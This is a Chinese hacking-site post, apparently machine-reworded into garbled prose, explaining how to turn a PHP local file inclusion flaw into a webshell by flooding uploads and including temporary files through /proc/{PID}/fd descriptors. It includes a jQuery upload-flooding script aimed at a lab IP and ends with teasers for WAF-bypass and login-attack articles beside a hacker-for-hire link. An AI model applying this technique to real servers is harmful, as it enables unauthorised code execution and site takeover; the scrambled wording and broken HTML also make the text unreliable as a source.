把PHP LFI缝隙变为Webshell的形式

访客5年前黑客资讯1021

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人先把屠刀放下!当然鸡肋,但思绪照样值得探求的。
原由是一篇老外写的文章,读完后创造他的思绪或许可以和PHP LFI联合。 文章后边写Java那段确实就是意淫,然则起先说到当linux进程访问一个文件的时间会在/proc/{PID}/fd/下创建一个文件描绘符来指向被访问的文件。比如/proc/1234/fd/5会指向/tmp/tmpXXX。而假设你cat proc/1234/fd/5,就会看到/tmp/tmpXXX的内容。而我们知道,向任何php剧本发送上传文件的乞求,php都邑创建一个暂时文件来保存上传确当内容,当php剧本实行中止才删去这个暂时文件。那末当创建暂时文件的时间,必定会创建呼应的文件描绘符。假设我们能找到对应的文件描绘,应当就可以经由进程文件包含完结webshell了。一初步我想难点是猜出PID和文件描绘符编号,PID异常往常是几千,apache进程的文件描绘符编号异常往常就只在1-20之间,所以理论上暴力破解真实不难。起先我创造真实搞定PID和文件描绘符编号要比想象中简略得多。
实验步骤我就写得简练一点了。
首先,我们必要赓续上传文件到随意率性php剧本,这个文件更好还大一些。我用的是一个或许4mb的文件,彷佛上传文件有大小限制,太大的文件我没有实验成功,也没有穷究。然后就是写个法度赓续上传这个文件就好,我用的是jquery+HTML。更志向一点应当是用python/java跑多线程。如下是源代码:
html>body> script src="https://code.jquery.com/jquery-1.10.2.js">script>form id="form" action="http://192.168.174.128/Default.php" method="post" enctype="multipart/form-data">input type="file" name="test">input type="submit">form> script>$( "form" ).submit(function( event ) {    uploadFiles(event);    return;});var files;$('input[type=file]').on('change', prepareUpload);function prepareUpload(event){  files = event.target.files;}function uploadFiles(event){  event.stopPropagation();     event.preventDefault();    var data = new FormData();    $.each(files, function(key, value)    {        data.append(key, value);    });    var i=0;    for(;i1000;i++){        $.ajax({            url: 'http://192.168.174.128/Default.php',            type: 'POST',            data: data,            cache: false,            dataType: 'json',            processData: false,             contentType: false,             success: function(data, textStatus, jqXHR)            {                if(typeof data.error === 'undefined')                {                    submitForm(event, data);                }                else                {                    console.log('ERRORS: ' + data.error);                }            },            error: function(jqXHR, textStatus, errorThrown)            {                console.log('ERRORS: ' + textStatus);            }        });        //wait(100);    }}function wait(ms){   var start = new Date().getTime();   var end = start;   while(end      end = new Date().getTime();  }}script>body>html>
工作截图:

工作后可以在服务器上看到如下效果:

[1] [2]  黑客接单网

相关文章

MySQL联合注入之绕过安全狗到GetShell

发现网上公开过安全狗的办法少之又少,并且根本都是给个大约点就完毕,本文章是将整个进程记录了一遍,因为一开始我也没想到我能成功的绕过去,大约进程是这样:Mysql根底有必要要有–>定位—>f...

登录框之特殊考虑:来自客户端的诈骗

0×01 前语 前几天刚见人发了一个登录框引发的血案,而惯例的爆炸有风控和各种反常验证码,或许大型的电商都会用SSO完成登录,密码找回逻辑看似天衣无缝,又或许选用第三方的Oauth授权。往往这些惯例的...

第六届全国网络安全大赛代码审计全解

 XDCTF是一项面向全国在校大学生的信息安全类竞赛,由西电信息安全协会与网络攻防实训基地联合举行。旨在增强学生对网络常识的爱好,进步学生学习网络技术的积极性,培育学生的立异 认识、协作精力和理论联系...

Java Web 工程源代码安全审计实战,第 4 部分: 环境加固

前语 本文是 Java Web 工程源代码安全审计实战的第 4 部分,也是最终一部分,根据 WebGoat 工程,解说源码审计出产环境布置装备问题。相比较于前三部分各种高危缝隙的审计和整改。环境布置部...

HTML5 安全问题解析

HTML5 安全问题解析 标签: html html5 web安全 本文参阅: w3school:html5相关基础知识(w3school.com.cn)...